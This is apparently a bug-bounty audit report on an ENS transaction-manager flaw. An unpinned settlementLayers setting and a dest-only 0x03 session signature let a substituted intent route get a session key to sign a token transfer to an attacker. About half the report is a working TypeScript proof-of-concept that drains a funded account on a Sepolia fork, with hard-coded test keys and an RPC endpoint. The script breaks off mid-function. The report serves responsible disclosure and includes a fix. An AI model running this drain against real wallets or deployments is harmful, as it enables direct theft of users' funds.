92413 w a high unpinned warp settlementlayers and dest only 0x03 session policy lead to direct theft of hybrid custody account funds
Submitted on Sep 9th 2026 at 15:24:42 UTC by @Omisanin0 for Audit Competition | ENS
- Report ID: #92413
- Report Type: Websites & Apps
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/packages/transaction-manager
- Impacts:
- Direct theft of user funds
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
Description
Brief/Intro
The in-scope Warp send never pins settlementLayers and never checks that the returned route's preClaimOps, settlement layer, or destOps match the reveal calls the Manager built. On the session-signed reveal path there is no wallet prompt. A hostile POST /intents/route that replaces the sole element with fundingMethod=PERMIT2 and preClaimOps=MockUSDC.transfer(attacker, ...) is therefore hashed as PermitBatchWitnessTransferFrom and signed by the session key. The in-tree SDK patch packs that signature as standalone-HCA mode 0x03 with dest operationData only, so the dest allowlist never sees the origin transfer. On a Sepolia Anvil fork, 19_000_000 MockUSDC moved from the HCA to the attacker. Pin settlementLayers: ['INTENT_EXECUTOR'] and refuse to sign if the route does not match the reviewed calls.
Vulnerability Details
Root: submitWarpTransaction omits settlementLayers and session-signs the returned intentOp with no compare against the reviewed reveal calls. The patched SDK then packs that Permit2 signature as mode 0x03 (dest operationData only). Origin preClaimOps are signature-bound and not policy-bound. The consume that moves the tokens is the cash-out of that signature, not a separate IntentExecutor bug.
1. Reveal is a session-signed Warp with no settlement pin
submitRevealBatchActor builds the honest dest batch (approve registrar, register("myname", wallet, ...), resolver writes) and hands it to TXM as a rhinestone-intent:
// packages/transaction-manager/src/machines/registration/registration.hca.actors.ts
const request = buildUserPaidRequest({
from: input.hca,
chainId,
calls: toCalls(revealCalls),
})
buildUserPaidRequest sets calls and feeAsset: 'USDC'. It does not set a settlement layer.
submitWarpTransaction then builds the SDK send. If a session is attached (reveal after commit: session already enabled, no enableData), it session-signs with verifyExecutions: true and no wallet prompt:
// packages/transaction-manager/src/actors/warp-transport.actor.ts
const sessionSigners = signer.session
? ({
type: 'experimental_session' as const,
session: signer.session.session,
...(sessionEnableData ? { enableData: sessionEnableData } : {}),
verifyExecutions: true,
} satisfies NonNullable<Transaction['signers']>)
: undefined
const sdkParams = {
sourceChains: [chain],
targetChain: chain,
calls: [...calls],
sponsored: UNSPONSORED,
feeAsset: feeAsset ?? DEFAULT_FEE_ASSET,
tokenRequests: (tokenRequests ?? []) as TokenRequest[] &
Transaction['tokenRequests'],
...(declaredFunds ? { auxiliaryFunds: declaredFunds } : {}),
...(sessionSigners ? { signers: sessionSigners } : {}),
} satisfies Transaction
There is no settlementLayers key. prepareTransactionAsIntent therefore POSTs options.settlementLayers: undefined. Quote (prepareTransaction) and send (sendTransaction) are independent POSTs. The budget quote is not rebound onto send's preClaimOps.
The PoC drives this actor with a capturing RhinestoneAccount.sendTransaction. Captured keys: calls,feeAsset,signers,sourceChains,sponsored,targetChain,tokenRequests. No settlementLayers. Signers are { type: 'experimental_session', verifyExecutions: true } with enableData omitted.
2. Hostile /intents/route, replace-sole-element
A substituted /intents/route is the same class of TM argument substitution the program already lists: wrong target or arguments on a session-signed send. The live POST is not the PoC (third-party testing is out of program rules). The PoC prints the body and then feeds the SDK the intentOp that body produces:
settlementLayerany value other thanINTENT_EXECUTOR(PoC usesPERMIT2_HOSTILE)fundingMethod = PERMIT2arbiter = attackeridsAndAmounts = [[uint256(MockUSDC), 1]](dummy permitted amount, not the steal size)destinationOps= honestbuildRevealBatchpreClaimOps= ERC-7579 batch,vt = 0x0201...(ERC1271), inner callMockUSDC.transfer(attacker, 19_000_000)
Append a Permit2 element next to an honest INTENT_EXECUTOR element is a dead path: getIntentMessages uses .some(INTENT_EXECUTOR) as a whole-array switch and every origin message becomes SingleChainOps. The route has to replace the sole element.
3. Stock getIntentMessages vs in-tree 0x03 packer
getIntentMessages Permit2-signs when no element is INTENT_EXECUTOR:
// @rhinestone/sdk dist/src/execution/utils.js
const withPermit2 = intentOp.elements.some((element) =>
element.mandate.qualifier.settlementContext.fundingMethod === 'PERMIT2')
const withIntentExecutorOps = intentOp.elements.some((element) =>
element.mandate.qualifier.settlementContext.settlementLayer ===
'INTENT_EXECUTOR')
for (const element of intentOp.elements) {
if (withIntentExecutorOps) {
origin.push(singleChainOps.getTypedData(...)) // ALL elements
} else if (withPermit2) {
origin.push(permit2.getTypedData(...)) // PermitBatchWitnessTransferFrom
} else {
origin.push(compact.getCompactTypedData(...))
}
}
Once Warp omits the pin, origin primaryType is PermitBatchWitnessTransferFrom. getTargetExecutionSignature stays undefined on that layer (no dest SingleChainOps).
The in-tree modification is patches/@rhinestone%2Fsdk@1.8.0.patch:
signIntentTypedDataon standalone HCA +experimental_session+PermitBatchWitnessTransferFromhashes that typed data, session-signs the digest, and callspackStandaloneHcaPermit2SessionSignature.- That packer emits mode
0x03whenenableDatais omitted (reveal). PackedoperationDataispackIntentOperation(message.mandate.destOps)only. Origin ops are in the Permit2 mandate digest, not in the policy blob the validator walks. - Same patch picks
SIG_MODE_ERC1271for standalone same-chain. The hostile route also sets originvtto ERC1271. Executor SigMode is taken from signedpreClaimOps, which the route controls.
The signed Permit2 message binds mandate.originOps and mandate.destOps into the digest. Origin is signature-bound. It is not policy-bound. spender is element.arbiter (the attacker). Dummy permitted.amount = 1 is never compared to the origin transfer amount. The steal is transfer(attacker, 19e6) in preClaimOps, not a Permit2 pull of the signed amount.
4. Dest policy contrast (stage F vs D)
The 0x03 envelope the patch builds is what the live validator the client pins then checks. Policy runs on packed dest operationData only.
_validatePermit2Destination requires recipient == HCA, targetChainId == block.chainid, tokenOut in {Circle, MockUSDC}, TokenIn/TokenOut counts == 1, destOps hash match, reconstructed Permit2 digest == ERC-1271 hash. It never compares idsAndAmounts / source amount to the origin transfer.
_checkRegistrationExecutions then walks that dest array. PAYMENT_TOKEN.transfer is ActionNotAllowed unless the selector is approve.
Put the steal in destOps and the session signature is useless. Put the same transfer in preClaimOps and this function never sees it.
PoC stage F is the contrast: destOps = the transfer, same consume path, simulate reverts InvalidSignature() 0x8baa579f (executor wrap of dest ActionNotAllowed). Stage D is destOps = honest reveal, originOps = transfer: consume succeeds.
5. Cash-out of the signed origin batch
Once that origin batch is signed, it is executable on the IntentExecutor the client already talks to. Adding onlyRouter there would be a Rhinestone change. The ENS change is not to sign it.
function executePreClaimOpsWithPermit2Stub(...) external returns (bytes32 permit2Hash) {
permit2Stub.nonce.permit2NonceSlot(account).consumeNonce();
permit2Hash = _permit2Hash(permit2Stub, mandateStub, preClaimOps);
bytes32 digest = _permit2HashTypedData(permit2Hash);
require(_isValidSignature(account, LOCKTAG, digest, permit2Hash, preClaimOps, signature), InvalidSignature());
LibERC7579.executeOps(account, preClaimOps);
}
_isValidSignature takes SigMode from preClaimOps. SigMode.ERC1271 is _verifyWithERC1271 only (no verifyExecution). ERC-1271 isValidSignatureWithSender requires sender == INTENT_EXECUTOR. This consume runs on the IntentExecutor proxy, so that check passes. Uniswap Permit2 is not the ERC-1271 sender.
Dest executeTargetOpsWithPermit2Stub is onlyRouter and shares permit2NonceSlot. After origin consume, dest of this intent cannot land register. Name stays free. Origin already executed.
The same unpinned send is the later session Warp path; reveal is the PoC because the HCA is already funded.
6. What this is not
- Not the documented 7-day unscoped session-key Known Issue (R2-03 / R2-06). Dest policy is the stated permission; origin
preClaimOpsexceeds it. See Known Issues below. - Not owner-signed wallet Permit2. That path needs leftover Uniswap
allowance(wallet, Permit2)and a wallet prompt. Session 0x03 cannot produce a wallet Permit2 owner. - Not extra destOps smuggled past the allowlist. destOps stay the honest reveal.
- Not a dummy Warp fill hash. Theft is the origin ERC-20 transfer.
- Not first-use commit (packer 0x04, HCA empty until dest funding). This is reveal: session already enabled, HCA already funded from the intended commit-leg EIP-2612.
- Append-Permit2 next to
INTENT_EXECUTORis dead (SingleChainOps). Compact sessionsignTypedDatathrows'Not supported'on this validator.SigMode.EMISSARY_EXECUTIONwould policy-check origin; the attacker will not pick it.
Suggested fix
In submitWarpTransaction, set settlementLayers: ['INTENT_EXECUTOR'] on the SDK send. After the route returns, refuse to session-sign unless settlementLayer === 'INTENT_EXECUTOR', destinationOps equals the reviewed rhinestoneParams.calls, and preClaimOps is empty or equals the locally declared setup/funding ops.
Impact Details
Selected impact (Critical): Direct theft of user funds.
The session key signs hostile origin MockUSDC.transfer(attacker, 19_000_000) because Warp did not pin the route. That amount is attacker-chosen up to balanceOf(HCA) at reveal. On the live 1y 5-6 character budget that is roughly 20.20 USDC minus the commit-leg getCostInToken. The PoC steals 19.00 USDC and leaves 0.30 USDC dust (below register rent 8.000021 USDC).
Also maps, same root: "Malicious interactions with an already-connected wallet: Modifying transaction arguments or parameters." Send /intents/route substitutes settlement layer and originOps. The session key signs without a new wallet prompt (experimental_session, verifyExecutions: true).
Not leading with "Hijacking or bricking an ENS name during a Manager flow." After-state is myname still free: dest register did not land, the unused commitment ages out after MAX_COMMITMENT_AGE, the user can retry with a new EIP-2612. That is collateral, not name takeover.
Before / after (PoC run, Anvil fork of Sepolia)
| Before | After | |
|---|---|---|
MockUSDC.balanceOf(HCA) | 19_300_000 | 300_000 |
MockUSDC.balanceOf(attacker) | 897_075_416 | 916_075_416 (+19_000_000) |
ETHRegistrar.register("myname") | not yet | still not landed |
IntentExecutor isPermit2IntentNonceConsumed(nonce, HCA) | false | true |
dest executeTargetOpsWithPermit2Stub as attacker | n/a | reverts OnlyRouter() 0x9e41bdd7 |
Observed steal tx (attacker writeContract of executePreClaimOpsWithPermit2Stub, not the impersonated enable): 0x160ef5f0b8272c9fe6a77896ee77ab4bd80f9887b37c23905ee09db0ea706fc9 (gas 176200). Confirm rerun: 0x11ac3ed9af49421839ceb392ca81b70684134560aa1b25d37c4eae8d58c2b79d (gas 176220). HCA in that run: 0xd838060d5241322816e240d8e240db79ba78ec06. Attacker: Anvil #1 0x70997970C51812dc3A010C7d01b50e0d17dc79C8.
Profitability
- Capital: 0. No flash loan. No leftover Permit2 allowance.
- Profit: 19_000_000 MockUSDC (19.00 USDC) in this vector; scales with HCA balance on every standalone-HCA reveal.
- Cost: attacker-paid origin consume (~176k gas). At 20 gwei that is ~0.0035 ETH, net well above 0 at 19 USDC.
- Failed dest fill does not roll back origin.
Known Issues / exclusions
- Known Issues last updated 2026-08-14. Unpinned Warp
settlementLayersplus patched 0x03 dest-only packing is not listed. - Not R2-03 / R2-06. R2-03 is the 7-day unscoped key in browser storage. Standalone 0x03 is dest-allowlisted:
PAYMENT_TOKEN.transferisActionNotAllowedas a destOp. OriginpreClaimOpsdoing that transfer is authority beyond the stated dest permissions, not "the key is unscoped for 7 days." R2-06 is storage-only revoke. - Not EXP-4337-002 (chainId stays 11155111). Not EXP-4337-003 (
fromunused; session-signed). - Not theoretical: Warp omit, patched 0x03 packer, and dest-only policy blob are in tree. The consume is a real tx on a Sepolia fork of the contracts the client is written against.
- Live
POSTto the production orchestrator was not executed (prohibited third-party testing).
References
- Warp send (no
settlementLayers, session signers):packages/transaction-manager/src/actors/warp-transport.actor.ts(session block ~114-121,sdkParams~147-164) - Reveal submit:
packages/transaction-manager/src/machines/registration/registration.hca.actors.ts(submitRevealBatchActor~993-1020,buildUserPaidRequest~501-533) - In-tree patch:
patches/@rhinestone%2Fsdk@1.8.0.patch(signIntentTypedDataPermit2 standalone branch,packStandaloneHcaPermit2SessionSignaturemode0x03, same-chainSIG_MODE_ERC1271) getIntentMessagesPermit2 branch:@rhinestone/sdkdist/src/execution/utils.js~694-719- Permit2 typed data:
dist/src/execution/permit2.js(domain{name: Permit2, verifyingContract: 0x000000000022D473030F116dDEE9F6B43aC78BA3},spender = element.arbiter) - Live validator the client pins: dest-only
_validateFixedPermit2Session/_checkRegistrationExecutions(PAYMENT_TOKEN.transferisActionNotAllowedunlessapprove) - IntentExecutor the client talks to:
executePreClaimOpsWithPermit2Stub; dest twinexecuteTargetOpsWithPermit2Stub(onlyRouter); samepermit2NonceSlot - Live Sepolia (forked): IntentExecutor
0x00000000005ad9ce1f5035fd62ca96cef16adaaf, validator0x5f249FCa8bB4949105651146858c347E8BFb0F7E, HCA impl0xAA761541620fC1a42bb701a26a9f107A9DF1E904, MockUSDC0x768F42455A2D082E23ceeF7d51e5787C82d67a39 - Orchestrator (do not send live):
POST https://v1.orchestrator.rhinestone.dev/intents/route - Runnable PoC:
packages/smart-account/scripts/poc-f648.ts(full source below)
Proof of Concept
Proof of Concept
Anvil fork of Sepolia. Real factory / HCA / validator / MockUSDC / IntentExecutor. In-tree patched @rhinestone/sdk@1.8.0. Their Warp actor. Their getIntentMessages and packStandaloneHcaPermit2SessionSignature (injected via Module._compile because the package does not export them). No public Sepolia or mainnet txs. No mockestrator.
cd src/audit-comp-ens
pnpm exec tsx packages/smart-account/scripts/poc-f648.ts
Spawns anvil --fork-url $SEPOLIA_FORK_URL --chain-id 11155111 --port 8545 if nothing is already on :8545. Default fork URL is the dRPC Sepolia endpoint in the script; override with SEPOLIA_FORK_URL.
Setup is not the steal. StandaloneHCAFactory.deploy with a fresh userSalt, MockUSDC.mint(HCA, 19_300_000), and impersonate-HCA enableSessionWithRefund are "commit already landed, session live, HCA funded with the intended reveal budget." Impersonation is not the drain. The drain is the attacker's writeContract of executePreClaimOpsWithPermit2Stub.
| Stage | What it drives | Pass condition |
|---|---|---|
| A | submitWarpTransaction | captured sendTransaction params have no settlementLayers; signers = experimental_session / verifyExecutions: true; enableData omitted |
| B | getIntentMessages | replace-sole-element -> PermitBatchWitnessTransferFrom; append Permit2 beside INTENT_EXECUTOR -> SingleChainOps (append dead); getTargetExecutionSignature is undefined |
| C | patched packStandaloneHcaPermit2SessionSignature | envelope mode 0x03. This is the packer signIntentTypedData calls on PermitBatchWitnessTransferFrom (utils.js ~773-784: hash digest, session ECDSA, this packer). Not an owner 65-byte. The PoC does not call signIntentTypedData by name because it is not exported; Stage C is those same two steps. |
| F | same consume, destOps = transfer (before steal, so the nonce is still free) | reverts InvalidSignature() 0x8baa579f |
| D | attacker executePreClaimOpsWithPermit2Stub on the live proxy | HCA Mock 19_300_000 -> 300_000, attacker +19_000_000, receipt status = success |
| E | dest-kill | isPermit2IntentNonceConsumed = true; attacker executeTargetOpsWithPermit2Stub reverts OnlyRouter() 0x9e41bdd7 |
Last full run printed ALL PASS. Stage A keys: calls,feeAsset,signers,sourceChains,sponsored,targetChain,tokenRequests. Dummy idsAndAmounts amount is 1 on purpose.
Still not in this script, on purpose:
- Live
POSTto Rhinestone orchestrator (prohibited). - Full
account.sendTransactionagainst a live quote (same orchestrator). Stage A drives their Warp actor with a capturingsendTransaction. Stage B drives theirgetIntentMessageson the hostileintentOpthat a compromised route would return. - Commit-leg EIP-2612. Funding is
minton the fork so the steal is isolated. The steal does not depend on how the HCA was funded.
Full script (packages/smart-account/scripts/poc-f648.ts):
/**
* F-648 end-to-end PoC.
*
* Proves the full chain on an Anvil fork of Sepolia (no public txs, no mockestrator):
* A. Warp send omits settlementLayers and session-signs (verifyExecutions: true)
* B. SDK getIntentMessages: replace-sole-element Permit2 vs append-INTENT_EXECUTOR
* C. Patched packStandaloneHcaPermit2SessionSignature → 0x03
* D. Real IntentExecutor.executePreClaimOpsWithPermit2Stub drains HCA MockUSDC
* E. Dest-kill: Permit2 nonce consumed; dest stub is onlyRouter
* F. Dest policy: same transfer as destOps reverts ActionNotAllowed
*
* cd src/audit-comp-ens
* pnpm exec tsx packages/smart-account/scripts/poc-f648.ts
*/
import { spawn as spawnChild, type ChildProcess } from 'node:child_process'
import fs from 'node:fs'
import Module from 'node:module'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath } from 'node:url'
import type { RhinestoneAccount, Session } from '@rhinestone/sdk'
import {
concat,
createPublicClient,
createTestClient,
createWalletClient,
encodeAbiParameters,
encodeFunctionData,
hashStruct,
hashTypedData,
http,
keccak256,
parseAbi,
slice,
type Address,
type Hash,
type Hex,
} from 'viem'
import { generatePrivateKey, privateKeyToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { submitWarpTransaction } from '../../transaction-manager/src/actors/warp-transport.actor.ts'
import type { RhinestoneSigner } from '../../transaction-manager/src/types/signer.types.ts'
import { buildStandaloneAccountConfig } from '../src/providers/rhinestone/initialize-account.ts'
import {
DEFAULT_SESSION_VALIDITY_SECONDS,
getDestinationContracts,
MAX_REFUND_AMOUNT,
MAX_REFUND_EXCHANGE_RATE,
MAX_REFUND_GAS_OVERHEAD,
} from '../src/providers/rhinestone/manifest.ts'
import {
buildRevealBatch,
computeResolverAddress,
} from '../src/providers/rhinestone/registration-calls.ts'
import { computeDestinationSessionSalt } from '../src/providers/rhinestone/session.ts'
const require = createRequire(
join(dirname(fileURLToPath(import.meta.url)), '../package.json'),
)
const sdkRoot = dirname(require.resolve('@rhinestone/sdk')).replace(/\/dist\/src$/, '')
type TypedData = {
domain: { chainId: number; name?: string; verifyingContract?: string }
types: Record<string, unknown>
primaryType: string
message: Record<string, unknown>
}
function loadPatchedExecutionUtils(): {
getIntentMessages: (config: unknown, intentOp: unknown) => {
origin: TypedData[]
destination: TypedData
}
packStandaloneHcaPermit2SessionSignature: (
config: unknown,
signers: unknown,
parameters: TypedData,
packedSessionSignature: Hex,
) => Hex
getTargetExecutionSignature: (
config: unknown,
intentOp: unknown,
targetChain: unknown,
signers: unknown,
) => Promise<Hex | undefined>
} {
const filename = join(sdkRoot, 'dist/src/execution/utils.js')
const src = fs.readFileSync(filename, 'utf8')
const exported = `${src}
module.exports.getIntentMessages = getIntentMessages;
module.exports.packStandaloneHcaPermit2SessionSignature = packStandaloneHcaPermit2SessionSignature;
`
const m = new Module(filename)
m.filename = filename
m.paths = Module._nodeModulePaths(dirname(filename))
m._compile(exported, filename)
return m.exports as ReturnType<typeof loadPatchedExecutionUtils>
}
const patched = loadPatchedExecutionUtils()
const { getPermissionId } = require(
join(sdkRoot, 'dist/src/modules/validators/smart-sessions.js'),
) as { getPermissionId: (session: Session) => Hex }
const INTENT_EXECUTOR = '0x00000000005ad9ce1f5035fd62ca96cef16adaaf' as Address
const ERC7579_ERC1271_VT =
'0x0201000000000000000000000000000000000000000000000000000000000000' as Hex
const ACTION_NOT_ALLOWED = '0xde1834f2'
const ONLY_ROUTER = '0x9e41bdd7' // OnlyRouter()
const OWNER_PK =
'0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a' as const
const ATTACKER_PK =
'0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d' as const
const factoryAbi = parseAbi([
'function deploy(address owner, address hcaImplementation, uint256 userSalt) returns (address hca)',
])
const validatorAbi = parseAbi([
'function enableSessionWithRefund(bytes32 permissionId, address sessionKey, uint48 validUntil, address resolver, address refundToken, uint96 maxRefundExchangeRate, uint48 maxRefundGasOverhead, uint96 maxRefundAmount)',
'function isPermissionEnabled(address account, bytes32 permissionId) view returns (bool)',
])
const mockUsdcAbi = parseAbi([
'function mint(address to, uint256 amount)',
'function balanceOf(address) view returns (uint256)',
'function transfer(address to, uint256 amount) returns (bool)',
])
const hcaAbi = parseAbi([
'function owner() view returns (address)',
'function ownerAndSessionNonce() view returns (address owner, uint96 sessionNonce)',
])
const executorAbi = [
{
type: 'function',
name: 'executePreClaimOpsWithPermit2Stub',
stateMutability: 'nonpayable',
inputs: [
{ name: 'account', type: 'address' },
{
name: 'permit2Stub',
type: 'tuple',
components: [
{ name: 'nonce', type: 'uint256' },
{ name: 'expires', type: 'uint256' },
],
},
{
name: 'mandateStub',
type: 'tuple',
components: [
{ name: 'tokenInHash', type: 'bytes32' },
{ name: 'minGas', type: 'uint128' },
{ name: 'targetAttributesHash', type: 'bytes32' },
{ name: 'destOpsHash', type: 'bytes32' },
{ name: 'qHash', type: 'bytes32' },
],
},
{
name: 'preClaimOps',
type: 'tuple',
components: [{ name: 'data', type: 'bytes' }],
},
{ name: 'signature', type: 'bytes' },
],
outputs: [{ name: 'permit2Hash', type: 'bytes32' }],
},
{
type: 'function',
name: 'executeTargetOpsWithPermit2Stub',
stateMutability: 'nonpayable',
inputs: [
{ name: 'account', type: 'address' },
{
name: 'permit2Stub',
type: 'tuple',
components: [
{ name: 'nonce', type: 'uint256' },
{ name: 'expires', type: 'uint256' },
],
},
{
name: 'mandateStub',
type: 'tuple',
components: [
{ name: 'sponsor', type: 'address' },
{ name: 'arbiter', type: 'address' },
{ name: 'minGas', type: 'uint128' },
{ name: 'notarizedChainId', type: 'uint256' },
{ name: 'preClaimOpsHash', type: 'bytes32' },
{ name: 'tokenInHash', type: 'bytes32' },
{ name: 'qHash', type: 'bytes32' },
{
name: 'targetStub',
type: 'tuple',
components: [
{ name: 'fillExpiry', type: 'uint256' },
{ name: 'tokenOutHash', type: 'bytes32' },
],
},
],
},
{
name: 'targetOps',
type: 'tuple',
components: [{ name: 'data', type: 'bytes' }],
},
{ name: 'signature', type: 'bytes' },
],
outputs: [{ name: 'permit2Hash', type: 'bytes32' }],
},
{
type: 'function',
name: 'isPermit2IntentNonceConsumed',
stateMutability: 'view',
inputs: [
{ name: 'nonce', type: 'uint256' },
{ name: 'account', type: 'address' },
],
outputs: [{ name: 'used', type: 'bool' }],
},
] as const
const PERMIT2_TYPES = {
TokenPermissions: [
{ name: 'token', type: 'address' },
{ name: 'amount', type: 'uint256' },
],
Token: [
{ name: 'token', type: 'address' },
{ name: 'amount', type: 'uint256' },
],
Ops: [
{ name: 'to', type: 'address' },
{ name: 'value', type: 'uint256' },
{ name: 'data', type: 'bytes' },
],
Op: [
{ name: 'vt', type: 'bytes32' },
{ name: 'ops', type: 'Ops[]' },
],
Target: [
{ name: 'recipient', type: 'address' },
{ name: 'tokenOut', type: 'Token[]' },
{ name: 'targetChain', type: 'uint256' },
{ name: 'fillExpiry', type: 'uint256' },
],
} as const
type Op = {
vt: Hex
ops: { to: Address; value: bigint; data: Hex }[]
}
function assert(cond: unknown, msg: string): asserts cond {
if (!cond) throw new Error(`ASSERT FAIL: ${msg}`)
}
function tokenAsId(token: Address): bigint {
return BigInt(token)
}
function hashOp(op: Op): Hex {
return hashStruct({
types: PERMIT2_TYPES,
primaryType: 'Op',
data: { vt: op.vt, ops: op.ops },
})
}
function encodeExecutorOperation(op: Op): Hex {
return concat([
'0x02',
'0x01',
encodeAbiParameters(
[
{
type: 'tuple[]',
components: [
{ name: 'target', type: 'address' },
{ name: 'value', type: 'uint256' },
{ name: 'callData', type: 'bytes' },
],
},
],
[
op.ops.map((execution) => ({
target: execution.to,
value: execution.value,
callData: execution.data,
})),
],
),
])
}
function mandateHashes(typedData: TypedData) {
const permitted = typedData.message.permitted as {
token: Address
amount: bigint
}[]
const mandate = typedData.message.mandate as {
target: {
recipient: Address
tokenOut: { token: Address; amount: bigint }[]
targetChain: bigint
fillExpiry: bigint
}
minGas: bigint
originOps: Op
destOps: Op
q: Hex
}
return {
tokenInHash: keccak256(
concat(
permitted.map((p) =>
hashStruct({
types: PERMIT2_TYPES,
primaryType: 'TokenPermissions',
data: p,
}),
),
),
),
tokenOutHash: keccak256(
concat(
mandate.target.tokenOut.map((t) =>
hashStruct({
types: PERMIT2_TYPES,
primaryType: 'Token',
data: t,
}),
),
),
),
targetAttributesHash: hashStruct({
types: PERMIT2_TYPES,
primaryType: 'Target',
data: mandate.target,
}),
destOpsHash: hashOp(mandate.destOps),
qHash: mandate.q,
minGas: mandate.minGas,
mandate,
}
}
function hostileElement(args: {
hca: Address
attacker: Address
usdc: Address
originOp: Op
destOp: Op
expires: bigint
settlementLayer: string
}) {
return {
chainId: BigInt(sepolia.id),
arbiter: args.attacker,
idsAndAmounts: [[tokenAsId(args.usdc), 1n]] as [bigint, bigint][],
mandate: {
recipient: args.hca,
tokenOut: [[tokenAsId(args.usdc), 1n]] as [bigint, bigint][],
destinationChainId: BigInt(sepolia.id),
fillDeadline: args.expires,
minGas: 1n,
preClaimOps: args.originOp,
destinationOps: args.destOp,
qualifier: {
encodedVal: '0x' as Hex,
settlementContext: {
settlementLayer: args.settlementLayer,
fundingMethod: 'PERMIT2',
},
},
},
}
}
function intentOp(
element: ReturnType<typeof hostileElement>,
nonce: bigint,
expires: bigint,
extra?: ReturnType<typeof hostileElement>,
) {
return {
nonce,
expires,
elements: extra ? [extra, element] : [element],
}
}
async function waitForRpc(url: string, timeoutMs = 30_000) {
const start = Date.now()
while (Date.now() - start < timeoutMs) {
try {
const res = await fetch(url, {
method: 'POST',
headers: { 'content-type': 'application/json' },
body: JSON.stringify({
jsonrpc: '2.0',
id: 1,
method: 'eth_chainId',
params: [],
}),
})
const json = (await res.json()) as { result?: string }
if (json.result === '0xaa36a7') return
} catch {
/* retry */
}
await new Promise((r) => setTimeout(r, 250))
}
throw new Error(`Anvil at ${url} did not become ready`)
}
async function ensureAnvil(): Promise<ChildProcess | null> {
const rpc = process.env.FORK_RPC ?? 'http://127.0.0.1:8545'
try {
await waitForRpc(rpc, 1500)
console.log(`[anvil] already running at ${rpc}`)
return null
} catch {
if (process.env.SKIP_ANVIL === '1') {
throw new Error(`No Anvil at ${rpc} and SKIP_ANVIL=1`)
}
}
const forkUrl =
process.env.SEPOLIA_FORK_URL ??
'https://lb.drpc.live/sepolia/AnmpasF2C0JBqeAEzxVO8aTDnH6wviUR8JD3QmlfqV1j'
console.log(`[anvil] spawning fork of ${forkUrl}`)
const child = spawnChild(
`${process.env.HOME}/.foundry/bin/anvil`,
[
'--fork-url',
forkUrl,
'--chain-id',
'11155111',
'--port',
'8545',
'--silent',
],
{ stdio: 'ignore' },
)
await waitForRpc(rpc)
console.log(`[anvil] ready pid=${child.pid}`)
return child
}
function revertSelector(error: unknown): Hex | undefined {
const err = error as {
data?: { data?: Hex; errorName?: string }
cause?: { data?: { data?: Hex }; raw?: Hex }
walk?: (fn: (e: unknown) => boolean) => { data?: { data?: Hex } }
shortMessage?: string
message?: string
}
const raw =
(typeof err.data?.data === 'string' && err.data.data) ||
(typeof err.cause?.data?.data === 'string' && err.cause.data.data) ||
(typeof (error as { data?: Hex }).data === 'string' &&
(error as { data: Hex }).data) ||
''
const msg = `${err.shortMessage ?? ''} ${err.message ?? ''} ${JSON.stringify(err.data ?? {})}`
const m = /0x[0-9a-fA-F]{8}/.exec(String(raw) + msg)
return m ? (m[0].toLowerCase() as Hex) : undefined
}
async function main() {
const spawned = await ensureAnvil()
const rpc = process.env.FORK_RPC ?? 'http://127.0.0.1:8545'
const transport = http(rpc)
const publicClient = createPublicClient({ chain: sepolia, transport })
const testClient = createTestClient({
chain: sepolia,
transport,
mode: 'anvil',
})
const owner = privateKeyToAccount(OWNER_PK)
const attacker = privateKeyToAccount(ATTACKER_PK)
const sessionAccount = privateKeyToAccount(generatePrivateKey())
const ownerWallet = createWalletClient({
account: owner,
chain: sepolia,
transport,
})
const attackerWallet = createWalletClient({
account: attacker,
chain: sepolia,
transport,
})
const c = getDestinationContracts(sepolia.id)
const steal = 19_000_000n
const fund = 19_300_000n
const nonce = 0x2222n
const now = BigInt(Math.floor(Date.now() / 1000))
const expires = now + 3600n
const validUntil = now + BigInt(DEFAULT_SESSION_VALIDITY_SECONDS)
console.log('\n=== F-648 full-chain PoC (Anvil fork, real contracts + patched SDK) ===')
console.log('block', await publicClient.getBlockNumber())
await testClient.setBalance({ address: owner.address, value: 10n ** 18n })
await testClient.setBalance({ address: attacker.address, value: 10n ** 18n })
console.log('\n[setup] StandaloneHCAFactory.deploy (fresh userSalt so the fork can rerun)')
const userSalt = BigInt(Date.now())
const deployHash = await ownerWallet.writeContract({
address: c.standaloneHcaFactory,
abi: factoryAbi,
functionName: 'deploy',
args: [owner.address, c.standaloneHcaImplementation, userSalt],
gas: 3_000_000n,
})
const deployReceipt = await publicClient.waitForTransactionReceipt({
hash: deployHash,
})
const deployedLog = deployReceipt.logs.find(
(l) => l.address.toLowerCase() === c.standaloneHcaFactory.toLowerCase(),
)
assert(deployedLog?.topics[1], 'HCADeployed log')
const hca = (`0x${deployedLog.topics[1].slice(26)}`) as Address
const onchainOwner = await publicClient.readContract({
address: hca,
abi: hcaAbi,
functionName: 'owner',
})
assert(
onchainOwner.toLowerCase() === owner.address.toLowerCase(),
'HCA owner',
)
const resolver = computeResolverAddress({ chainId: sepolia.id, hca })
console.log('HCA', hca)
console.log('resolver', resolver)
await ownerWallet.writeContract({
address: c.usdc,
abi: mockUsdcAbi,
functionName: 'mint',
args: [hca, fund],
})
const [, sessionNonce] = await publicClient.readContract({
address: hca,
abi: hcaAbi,
functionName: 'ownerAndSessionNonce',
})
const salt = computeDestinationSessionSalt({
hcaSessionNonce: sessionNonce,
validUntil,
resolver,
refundToken: c.usdc,
})
const session = {
chain: sepolia,
account: hca,
salt,
owners: { type: 'ecdsa' as const, accounts: [sessionAccount] },
} as Session
const permissionId = getPermissionId(session)
console.log('permissionId (SDK getPermissionId)', permissionId)
console.log('[setup] enableSessionWithRefund as HCA (commit-leg already live)')
await testClient.setBalance({ address: hca, value: 10n ** 18n })
await testClient.impersonateAccount({ address: hca })
const hcaWallet = createWalletClient({
account: hca,
chain: sepolia,
transport,
})
await hcaWallet.writeContract({
address: c.hcaOwnerAndSessionValidator,
abi: validatorAbi,
functionName: 'enableSessionWithRefund',
args: [
permissionId,
sessionAccount.address,
validUntil,
resolver,
c.usdc,
MAX_REFUND_EXCHANGE_RATE,
MAX_REFUND_GAS_OVERHEAD,
MAX_REFUND_AMOUNT,
],
})
await testClient.stopImpersonatingAccount({ address: hca })
assert(
await publicClient.readContract({
address: c.hcaOwnerAndSessionValidator,
abi: validatorAbi,
